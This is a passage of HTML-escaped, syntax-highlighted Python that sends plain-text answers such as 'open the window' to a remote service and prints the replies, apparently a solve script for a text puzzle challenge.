&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;pull the tray out with a towel&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;open the window&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
